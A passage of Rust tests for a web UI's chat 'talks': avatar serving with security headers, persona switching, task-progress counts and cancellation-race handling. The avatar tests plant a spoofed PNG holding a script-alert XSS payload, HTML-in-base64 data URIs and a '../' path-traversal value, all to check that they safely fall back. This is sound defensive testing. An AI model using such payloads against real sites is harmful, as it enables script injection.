14313        for bad in [
14314            "data:image/png;base64,PGh0bWw+".to_owned(),
14315            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14316            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14317        ] {
14318            assert!(save_magi_icon(home.path(), &bad).is_err());
14319            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14320        }
14321        // Re-opened server state reads the same independent home file.
14322        let restarted = Arc::new(Ui::new(
14323            Queue::at(home.path().join("queue")),
14324            Questions::at(home.path().join("questions")),
14325            Talks::at(home.path().join("talks")),
14326            home.path().join("runs"),
14327            home.path().to_path_buf(),
14328            repo,
14329        ));
14330        assert_eq!(
14331            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14332            changed
14333        );
14334        let view = TalkView::with_config(
14335            restarted.talks.get(&id).unwrap(),
14336            false,
14337            None,
14338            &restarted.home,
14339            &restarted.references,
14340        );
14341        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14342        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14343        let response = magi_avatar(
14344            State(ui.clone()),
14345            Query(AvatarQuery {
14346                persona: None,
14347                builtin: None,
14348            }),
14349        )
14350        .await;
14351        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14352            .await
14353            .unwrap();
14354        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14355        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14356        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14357        let _ = magi_icon_delete(State(ui)).await.unwrap();
14358    }
14359
14360    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14361    async fn avatar(
14362        ui: &Arc<Ui>,
14363        id: &str,
14364        persona: Option<&str>,
14365        builtin: bool,
14366    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14367        let res = talk_avatar(
14368            State(Arc::clone(ui)),
14369            Path(id.to_owned()),
14370            Query(AvatarQuery {
14371                persona: persona.map(str::to_owned),
14372                builtin: builtin.then(|| "1".to_owned()),
14373            }),
14374        )
14375        .await
14376        .expect("an avatar is never an error response");
14377        let h = res.headers();
14378        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14379        let nosniff = h
14380            .get(header::X_CONTENT_TYPE_OPTIONS)
14381            .is_some_and(|v| v == "nosniff");
14382        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14383        let status = res.status();
14384        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14385            .await
14386            .expect("body")
14387            .to_vec();
14388        (status, ct, nosniff, csp, body)
14389    }
14390
14391    fn tiny_png() -> Vec<u8> {
14392        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14393        b.extend_from_slice(&[0u8; 32]);
14394        b
14395    }
14396
14397    #[tokio::test]
14398    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14399        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14400        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14401        assert_eq!(res.status(), StatusCode::OK);
14402        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14403        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14404        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14405        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14406        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14407            .await
14408            .unwrap();
14409        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14410        assert_ne!(
14411            persona_icon::operator_svg(),
14412            persona_icon::builtin_svg("default")
14413        );
14414    }
14415
14416    #[tokio::test]
14417    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14418        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14419        for p in [
14420            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14421        ] {
14422            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14423            assert_eq!(status, StatusCode::OK, "{p}");
14424            assert_eq!(ct, "image/svg+xml", "{p}");
14425            assert!(nosniff && csp, "{p}");
14426            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14427        }
14428        // No `persona` means the conversation's own; unknown ones fall back.
14429        let own = avatar(&ui, &id, None, false).await;
14430        let default = avatar(&ui, &id, Some("default"), false).await;
14431        assert_eq!(own.4, default.4);
14432        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14433        assert_eq!(unknown.1, "image/svg+xml");
14434    }
14435
14436    #[tokio::test]
14437    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14438        let dir = TempDir::new().expect("icons");
14439        let good = dir.path().join("good.png");
14440        std::fs::write(&good, tiny_png()).unwrap();
14441        let spoof = dir.path().join("spoof.png");
14442        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14443        let big = dir.path().join("big.png");
14444        let mut bytes = tiny_png();
14445        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14446        std::fs::write(&big, bytes).unwrap();
14447        let missing = dir.path().join("missing.png");
14448        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14449        let extra = format!(
14450            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14451             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14452             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14453             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14454             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14455             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14456            uri(&good),
14457            uri(&spoof),
14458            uri(&big),
14459            uri(&missing),
14460        );
14461        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14462
14463        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14464        assert_eq!(
14465            (status, ct.as_str(), nosniff),
14466            (StatusCode::OK, "image/png", true)
14467        );
14468        assert_eq!(body, tiny_png());
14469        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14470        assert_eq!(ct, "image/png", "data URI");
14471
14472        for p in ["misato", "asuka", "shinji", "magi"] {
14473            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14474            assert_eq!(
14475                (status, ct.as_str(), csp),
14476                (StatusCode::OK, "image/svg+xml", true),
14477                "{p}"
14478            );
14479            assert!(body.starts_with(b"<svg"), "{p}");
14480        }
14481        // The page's own retry skips the icon.
14482        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14483        assert_eq!(ct, "image/svg+xml");
14484    }
14485
14486    #[tokio::test]
14487    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14488        let oversized = format!(
14489            "data:image/png;base64,{}",
14490            "A".repeat(persona_icon::ICON_MAX_BYTES)
14491        );
14492        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14493            let extra = format!(
14494                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14495            );
14496            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14497            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14498                .await
14499                .expect("detail with invalid icon");
14500            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14501            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14502            assert_eq!(status, StatusCode::OK);
14503            assert_eq!(ct, "image/svg+xml");
14504            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14505            let Json(view) = talk_persona(
14506                State(Arc::clone(&ui)),
14507                Path(id.clone()),
14508                Json(TalkPersona {
14509                    persona: "custom".into(),
14510                }),
14511            )
14512            .await
14513            .expect("persona switch with invalid icon");
14514            assert_eq!(view.talk.persona, "custom");
14515            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14516        }
14517    }
14518
14519    #[tokio::test]
14520    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14521        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14522        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14523        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14524        assert_eq!(
14525            (status, ct.as_str(), nosniff, csp),
14526            (StatusCode::OK, "image/svg+xml", true, true)
14527        );
14528    }
14529
14530    #[tokio::test]
14531    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14532        let (_t, _h, ui, id, _repo) =
14533            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14534        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14535            .await
14536            .expect("detail");
14537        let json = serde_json::to_string(&detail).unwrap();
14538        assert!(
14539            !json.contains("secret"),
14540            "the icon setting must not leak: {json}"
14541        );
14542        assert!(
14543            detail
14544                .view
14545                .persona_avatar
14546                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14547        );
14548        assert_eq!(
14549            detail.view.operator_avatar,
14550            format!(
14551                "/avatars/operator.svg?v={}",
14552                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14553            )
14554        );
14555        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14556        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14557        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14558        assert!(rei.avatar.contains("persona=rei&v="));
14559        assert_ne!(
14560            rei.avatar.split("&v=").nth(1),
14561            plain.avatar.split("&v=").nth(1)
14562        );
14563    }
14564
14565    #[tokio::test]
14566    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14567        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14568        let cfg = config_for(&repo).await.unwrap();
14569        for arrived in [false, true] {
14570            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14571            let observed = ui.queued_generation(&id);
14572            let talk = ui.talks.get(&id).unwrap();
14573            if arrived {
14574                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14575            }
14576            let mut settling = std::pin::pin!(settle_settings_turn(
14577                talk,
14578                ui.talks.clone(),
14579                cfg.clone(),
14580                id.clone(),
14581                turn,
14582                observed
14583            ));
14584            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14585            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14586            assert_eq!(first.is_pending(), arrived);
14587            if arrived {
14588                assert!(!settling.await);
14589            }
14590            assert!(!ui.is_thinking(&id));
14591        }
14592    }
14593
14594    #[tokio::test]
14595    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14596        let tmp = TempDir::new().expect("tempdir");
14597        let repo = tmp.path().join("repo");
14598        std::fs::create_dir_all(&repo).expect("repo dir");
14599        std::fs::write(
14600            repo.join("magi.toml"),
14601            format!(
14602                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14603            ),
14604        )
14605        .expect("write magi.toml");
14606        let home = TempDir::new().expect("temp home");
14607        let talks = Talks::at(home.path().join("talks"));
14608        let ui = Arc::new(
14609            Ui::new(
14610                Queue::at(home.path().join("queue")),
14611                Questions::at(home.path().join("questions")),
14612                talks.clone(),
14613                home.path().join("runs"),
14614                home.path().to_path_buf(),
14615                repo.clone(),
14616            )
14617            .with_worktrees_root(home.path().join("wt")),
14618        );
14619        let cfg = config_for(&repo).await.expect("discover config");
14620        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14621        let id = talk.id.clone();
14622        let call = |persona: &str| {
14623            talk_persona(
14624                State(Arc::clone(&ui)),
14625                Path(id.clone()),
14626                Json(TalkPersona {
14627                    persona: persona.to_owned(),
14628                }),
14629            )
14630        };
14631
14632        let unknown = call("nobody").await.expect_err("unknown persona");
14633        assert_eq!(
14634            unknown.status,
14635            StatusCode::BAD_REQUEST,
14636            "{}",
14637            unknown.message
14638        );
14639
14640        {
14641            // Nothing refused so far took a claim, so the guard is free to take
14642            // and holding it is what makes the talk busy.
14643            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14644            let busy = call("rei").await.expect_err("busy talk");
14645            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14646            assert!(
14647                busy.message.contains("a talk turn is running"),
14648                "{}",
14649                busy.message
14650            );
14651            drop(guard);
14652        }
14653        assert_eq!(talks.get(&id).expect("reload").persona, "");
14654
14655        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14656        assert_eq!(view.talk.persona, "gendo");
14657        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14658        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14659        // No intervening I/O or sleep may be needed before another change.
14660        for chosen in ["default", "gendo", "rei", "gendo"] {
14661            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14662            assert!(!view.thinking);
14663            assert!(!ui.is_thinking(&id));
14664        }
14665
14666        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14667            .await
14668            .expect("detail");
14669        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14670        assert_eq!(ids.first(), Some(&"default"));
14671        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14672
14673        let Json(view) = call("default").await.expect("back to default");
14674        assert_eq!(view.talk.persona, "");
14675
14676        let mut closed = talks.get(&id).expect("reload");
14677        talk::close(&mut closed, &talks).expect("close");
14678        let refused = call("rei").await.expect_err("closed talk");
14679        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14680        assert!(
14681            refused.message.contains("takes no more turns"),
14682            "{}",
14683            refused.message
14684        );
14685    }
14686
14687    #[tokio::test]
14688    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14689        let f = Fixture::start().await;
14690        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14691        let queue = f.queue();
14692        let mut mine = Task::new(
14693            "rename the loader".to_owned(),
14694            "rename the loader".to_owned(),
14695            PathBuf::from("/repo/magi"),
14696            Source::Agent {
14697                run: talk_id.clone(),
14698                node: "chat".to_owned(),
14699            },
14700        );
14701        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14702        assert_eq!(empty["task_progress"]["state"], "none");
14703        assert_eq!(empty["task_progress"]["total"], 0);
14704        queue.put(&mut mine).expect("file the task");
14705        let mut theirs = Task::new(
14706            "unrelated".to_owned(),
14707            "unrelated".to_owned(),
14708            PathBuf::from("/repo/magi"),
14709            Source::Human,
14710        );
14711        // A later task linked through origin_chat alone is outside this list.
14712        theirs.origin_chat = Some(talk_id.clone());
14713        queue.put(&mut theirs).expect("file the task");
14714
14715        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14716        assert_eq!(res.status, 200, "{}", res.body);
14717        let body = res.json();
14718        assert_eq!(
14719            body["status"], "open",
14720            "filing a task does not close a talk"
14721        );
14722        let tasks = body["tasks"].as_array().expect("tasks array");
14723        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14724        assert_eq!(tasks[0]["id"], mine.id);
14725        for status in [
14726            TaskStatus::Queued,
14727            TaskStatus::Running,
14728            TaskStatus::Held,
14729            TaskStatus::Failed,
14730            TaskStatus::Blocked,
14731            TaskStatus::Parked,
14732            TaskStatus::Done,
14733            TaskStatus::Queued,
14734        ] {
14735            mine.status = status;
14736            queue.put(&mut mine).expect("update status");
14737            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14738            let progress = &detail["task_progress"];
14739            assert_eq!(progress["total"], 1);
14740            assert_eq!(progress["counts"][status.as_str()], 1);
14741            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14742            assert_eq!(detail["status"], "open", "completion never closes the chat");
14743            if status == TaskStatus::Done {
14744                assert_eq!(progress["state"], "complete");
14745                assert_eq!(progress["done"], 1);
14746                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14747            } else {
14748                assert_eq!(progress["state"], "incomplete");
14749                assert_eq!(progress["done"], 0);
14750                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14751            }
14752        }
14753    }
14754
14755    #[test]
14756    fn talk_task_progress_counts_mixed_statuses() {
14757        let mut tasks: Vec<_> = [
14758            TaskStatus::Queued,
14759            TaskStatus::Running,
14760            TaskStatus::Held,
14761            TaskStatus::Failed,
14762            TaskStatus::Blocked,
14763            TaskStatus::Parked,
14764            TaskStatus::Done,
14765        ]
14766        .into_iter()
14767        .map(|status| {
14768            let mut task = Task::new(
14769                "task".into(),
14770                "task".into(),
14771                PathBuf::from("/repo"),
14772                Source::Human,
14773            );
14774            task.status = status;
14775            task
14776        })
14777        .collect();
14778        let progress = talk_task_progress(&tasks);
14779        assert_eq!(progress.state, "incomplete");
14780        assert_eq!(progress.total, 7);
14781        assert_eq!(progress.done, 1);
14782        assert_eq!(progress.unfinished_ids.len(), 6);
14783        assert!(progress.counts.values().all(|count| *count == 1));
14784        assert_eq!(
14785            progress.unfinished_ids,
14786            tasks[..6]
14787                .iter()
14788                .map(|task| task.id.clone())
14789                .collect::<Vec<_>>()
14790        );
14791
14792        for task in &mut tasks {
14793            task.status = TaskStatus::Done;
14794        }
14795        let complete = talk_task_progress(&tasks);
14796        assert_eq!(complete.state, "complete");
14797        assert_eq!(complete.done, 7);
14798        assert!(complete.unfinished_ids.is_empty());
14799        tasks[0].status = TaskStatus::Queued;
14800        let requeued = talk_task_progress(&tasks);
14801        assert_eq!(requeued.state, "incomplete");
14802        assert_eq!(requeued.done, 6);
14803        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14804
14805        let empty = talk_task_progress(&[]);
14806        assert_eq!(empty.state, "none");
14807        assert_eq!(empty.total, 0);
14808        assert_eq!(empty.done, 0);
14809        assert!(empty.unfinished_ids.is_empty());
14810        assert!(empty.counts.values().all(|count| *count == 0));
14811    }
14812
14813    #[tokio::test]
14814    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14815        let (_tmp, _repo, f) = talk_fixture().await;
14816        let id = f.post("/api/talks", None).await.json()["id"]
14817            .as_str()
14818            .expect("id")
14819            .to_owned();
14820
14821        let res = f
14822            .post(
14823                &format!("/api/talks/{id}/say"),
14824                Some(r#"{"text":"what does the queue module do?"}"#),
14825            )
14826            .await;
14827        assert_eq!(res.status, 202, "{}", res.body);
14828        let queued = res.json();
14829        let turns = queued["turns"].as_array().expect("turns array");
14830        assert_eq!(
14831            turns.len(),
14832            1,
14833            "the answer reflects only what is on disk the instant it is sent, \
14834             before the agent's turn - which can run for the whole of \
14835             `[graph] timeout_talk` - has a chance to land: {queued}"
14836        );
14837        assert_eq!(turns[0]["who"], "operator");
14838        assert_eq!(turns[0]["body"], "what does the queue module do?");
14839        assert_eq!(
14840            queued["thinking"], true,
14841            "the accepted response exposes the background turn claim: {queued}"
14842        );
14843
14844        let mut turns_after = 1;
14845        for _ in 0..SETTLE_STEPS {
14846            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14847            turns_after = detail["turns"].as_array().expect("turns array").len();
14848            if turns_after == 2 {
14849                break;
14850            }
14851            tokio::time::sleep(Duration::from_millis(10)).await;
14852        }
14853        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14854    }
14855
14856    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14857    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14858    /// guards against: `talk::record` used to return, and only *then* did the
14859    /// handler make a second, separate disk round trip before spawning the
14860    /// agent's reply task. A future dropped in that gap left a message
14861    /// recorded on disk with no reply task ever started and no way back short
14862    /// of a fresh message - and the gap was not even the whole story: *any*
14863    /// `.await` in this handler, including the very first one, is a point
14864    /// where a drop can land after the awaited work already finished but
14865    /// before this handler's own code resumes to act on it. `record` now
14866    /// runs inside the task `tokio::spawn` hands to the runtime before this
14867    /// handler ever awaits anything of its own again, so there is nothing
14868    /// left in *this* handler's future for a disconnect to interrupt between
14869    /// the message landing on disk and the reply task starting.
14870    ///
14871    /// A real socket disconnect cannot be relied on to land in the old gap
14872    /// from a test - over loopback, `talk_say` typically finishes before the
14873    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14874    /// same failure mode directly: it drops the task's future at whatever
14875    /// point it has reached, exactly what axum does to the handler future,
14876    /// without needing to win a real network race. Sweeping the delay before
14877    /// aborting samples a range of points the task's execution can be at,
14878    /// including where the old code sat waiting on its second disk round
14879    /// trip - confirmed by reverting this fix locally and watching this same
14880    /// sweep catch a talk stuck with the operator's turn recorded and no
14881    /// reply ever following.
14882    #[tokio::test]
14883    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14884        let tmp = TempDir::new().expect("tempdir");
14885        let repo = tmp.path().join("repo");
14886        std::fs::create_dir_all(&repo).expect("repo dir");
14887        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14888        let home = TempDir::new().expect("temp home");
14889        let talks = Talks::at(home.path().join("talks"));
14890        let ui = Arc::new(
14891            Ui::new(
14892                Queue::at(home.path().join("queue")),
14893                Questions::at(home.path().join("questions")),
14894                talks.clone(),
14895                home.path().join("runs"),
14896                home.path().to_path_buf(),
14897                repo.clone(),
14898            )
14899            .with_worktrees_root(home.path().join("wt")),
14900        );
14901        let cfg = config_for(&repo).await.expect("discover config");
14902
14903        for delay in 0..40u32 {
14904            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14905            let id = talk.id.clone();
14906
14907            let handler = tokio::spawn(talk_say(
14908                State(Arc::clone(&ui)),
14909                Path(id.clone()),
14910                Ok(Json(NewTalkTurn {
14911                    reply_to: None,
14912                    text: "what does the queue module do?".to_owned(),
14913                    attachments: Vec::new(),
14914                })),
14915            ));
14916            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14917            handler.abort();
14918            // Wait out the abort so the next iteration's talk does not race
14919            // this one's still-unwinding turn guard.
14920            let _ = handler.await;
14921
14922            let mut turns = 0;
14923            for _ in 0..SETTLE_STEPS {
14924                if let Ok(fresh) = talks.get(&id) {
14925                    turns = fresh.turns.len();
14926                    if turns != 1 {
14927                        break;
14928                    }
14929                }
14930                tokio::time::sleep(Duration::from_millis(10)).await;
14931            }
14932            assert_ne!(
14933                turns, 1,
14934                "delay {delay}: talk {id} recorded the operator's turn but \
14935                 the agent never answered - the reply task was never \
14936                 started after the handler future was dropped"
14937            );
14938        }
14939    }
14940
14941    /// The same drop, landing on `talk_say`'s other durable write.
14942    ///
14943    /// When a turn is already running, the busy branch persists the
14944    /// operator's text as a queued draft and then reclaims the turn slot if
14945    /// the holder gave it up in the meantime - and whoever reclaims owes that
14946    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14947    /// which finishes whether or not the future awaiting it is still there,
14948    /// so a handler dropped at that `.await` used to leave the draft written
14949    /// to disk with the reclaimed guard dropped unread and no drainer ever
14950    /// started: the message sat queued until some unrelated later `say`
14951    /// happened to pick it up.
14952    ///
14953    /// This used to drive the handler future by hand, polling it a fixed
14954    /// number of times to park it at the `.await` where it asks for the turn
14955    /// and finds it busy, before the reclaim's slot-free case could be set up
14956    /// underneath it. That assumed a fixed number of polls lands at a fixed
14957    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14958    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14959    /// poll, so any number of this handler's several `blocking` awaits can
14960    /// collapse into one poll under load, landing the drive somewhere other
14961    /// than intended - including, occasionally, straight past the handler's
14962    /// own completion, which made polling it again panic with "async fn
14963    /// resumed after completion". No poll count fixes that; the handler's
14964    /// progress simply is not something a caller outside it can observe by
14965    /// counting.
14966    ///
14967    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14968    /// inside the write itself, so the interleaving under test is pinned by
14969    /// an event instead of a guess: the gate fires only once the handler has
14970    /// actually decided `Busy` and is about to persist the draft, and it
14971    /// blocks that write until the test lets it through. Between those two
14972    /// moments the test drains the turn the handler found busy - through
14973    /// `drain_loop`, the protocol's other half - and then aborts the handler
14974    /// task outright, the same way axum drops a disconnected request's
14975    /// future. The write, and the reclaim it may do, run to completion
14976    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14977    /// to the runtime before ever touching the gate, wholly independent of
14978    /// whether the handler that started it is still around - which is what
14979    /// this test is actually checking. A drainer other than that reclaim
14980    /// cannot exist here: the test's own `drain_loop` call happens before the
14981    /// gate opens, so it runs while the queue is still empty and hands the
14982    /// turn straight back rather than draining anything, closing off the
14983    /// possibility of the final assertion passing without the reclaim ever
14984    /// having done its job.
14985    #[tokio::test]
14986    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14987        let tmp = TempDir::new().expect("tempdir");
14988        let repo = tmp.path().join("repo");
14989        std::fs::create_dir_all(&repo).expect("repo dir");
14990        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14991        let home = TempDir::new().expect("temp home");
14992        let talks = Talks::at(home.path().join("talks"));
14993        let ui = Arc::new(
14994            Ui::new(
14995                Queue::at(home.path().join("queue")),
14996                Questions::at(home.path().join("questions")),
14997                talks.clone(),
14998                home.path().join("runs"),
14999                home.path().to_path_buf(),
15000                repo.clone(),
15001            )
15002            .with_worktrees_root(home.path().join("wt")),
15003        );
15004        let cfg = config_for(&repo).await.expect("discover config");
15005
15006        for attempt in 0..3u32 {
15007            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15008            let id = talk.id.clone();
15009            // A turn is already running, which is what sends `talk_say` down
15010            // the busy branch.
15011            let turn_guard = ui
15012                .begin_talk_turn(&id)
15013                .expect("claim the turn")
15014                .expect("a fresh talk owes nobody a turn");
15015
15016            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15017            let (release_tx, release_rx) = std::sync::mpsc::channel();
15018            ui.set_busy_queue_gate(BusyQueueGate {
15019                reached: reached_tx,
15020                release: release_rx,
15021            });
15022
15023            let handler = tokio::spawn(talk_say(
15024                State(Arc::clone(&ui)),
15025                Path(id.clone()),
15026                Ok(Json(NewTalkTurn {
15027                    reply_to: None,
15028                    text: "what does the queue module do?".to_owned(),
15029                    attachments: Vec::new(),
15030                })),
15031            ));
15032
15033            // Wait for the busy branch to actually reach the gate, rather
15034            // than for any fixed number of polls of anything - a bounded
15035            // wait rather than a bare `.await` so a regression that never
15036            // reaches the gate fails the test instead of hanging it.
15037            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15038                .await
15039                .unwrap_or_else(|_| {
15040                    panic!(
15041                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15042                    )
15043                })
15044                .expect("the busy branch dropped the gate without using it");
15045            assert!(
15046                crate::consult::try_publication_guard(&talks, &id)
15047                    .expect("publication fence")
15048                    .is_none(),
15049                "a queued worker cannot promote text before its successor reservation is published"
15050            );
15051
15052            // A listener replacement queues its writer behind this accepted
15053            // mutation. Even disconnecting the HTTP caller must not release
15054            // admission before the write-to-worker handoff has completed.
15055            let closing = Arc::clone(&ui.admissions).write_owned();
15056            tokio::pin!(closing);
15057            std::future::poll_fn(|cx| {
15058                assert!(closing.as_mut().poll(cx).is_pending());
15059                std::task::Poll::Ready(())
15060            })
15061            .await;
15062            assert!(
15063                ui.begin_admission().is_err(),
15064                "replacement blocks later admissions"
15065            );
15066
15067            // The turn that was running now finishes and gives the slot up
15068            // the way a real one does - through `drain_loop`, which finds
15069            // nothing queued yet (the write is still held at the gate) and
15070            // releases. The handler, parked inside `spawn_blocking` on the
15071            // other side of the gate, still believes the talk is busy -
15072            // exactly the interleaving the reclaim exists for.
15073            let running = talks.get(&id).expect("reload talk");
15074            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15075
15076            // Drop the handler future now, the way a reloading phone drops
15077            // it: suspended waiting on the busy branch's answer, having
15078            // itself made no more progress since it handed the write off.
15079            handler.abort();
15080            let _ = handler.await;
15081            std::future::poll_fn(|cx| {
15082                assert!(
15083                    closing.as_mut().poll(cx).is_pending(),
15084                    "HTTP cancellation must not abandon a publishing transaction"
15085                );
15086                std::task::Poll::Ready(())
15087            })
15088            .await;
15089            assert!(
15090                crate::consult::try_publication_guard(&talks, &id)
15091                    .expect("publication fence after disconnect")
15092                    .is_none()
15093            );
15094
15095            // Only now let the gated write proceed. It persists the draft
15096            // and reclaims the now-free slot from inside the task the busy
15097            // branch already spawned - unaffected by the handler's abort
15098            // above, since that task was independent of the handler's own
15099            // future from the moment it was spawned.
15100            let _ = release_tx.send(());
15101            drop(
15102                tokio::time::timeout(Duration::from_secs(5), closing)
15103                    .await
15104                    .expect("short admission transaction should release for replacement"),
15105            );
15106            assert!(
15107                crate::consult::try_publication_guard(&talks, &id)
15108                    .expect("publication fence after acknowledgement")
15109                    .is_some(),
15110                "the publication fence is not retained by the long response"
15111            );
15112
15113            // A settled talk: the draft drained into an operator turn and
15114            // answered.
15115            let mut fresh = talks.get(&id).expect("reload talk");
15116            for _ in 0..SETTLE_STEPS {
15117                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15118                    break;
15119                }
15120                tokio::time::sleep(Duration::from_millis(10)).await;
15121                fresh = talks.get(&id).expect("reload talk");
15122            }
15123            assert!(
15124                fresh.pending.is_empty() && fresh.turns.len() == 2,
15125                "attempt {attempt}: talk {id} left the operator's text queued \
15126                 with no drainer - the reclaimed turn was dropped along with \
15127                 the handler future (pending {:?}, {} turns)",
